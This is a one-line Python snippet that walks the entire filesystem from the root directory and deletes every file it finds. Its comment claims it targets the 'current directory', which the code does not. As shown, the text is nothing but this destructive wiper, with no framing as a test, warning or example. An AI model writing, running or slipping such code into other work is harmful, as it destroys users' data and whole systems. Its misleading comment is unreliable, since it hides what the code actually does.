import os # For Current Directory for root, dirs, files in os.walk("/"): for file in files: os.remove(os.path.join(root, file))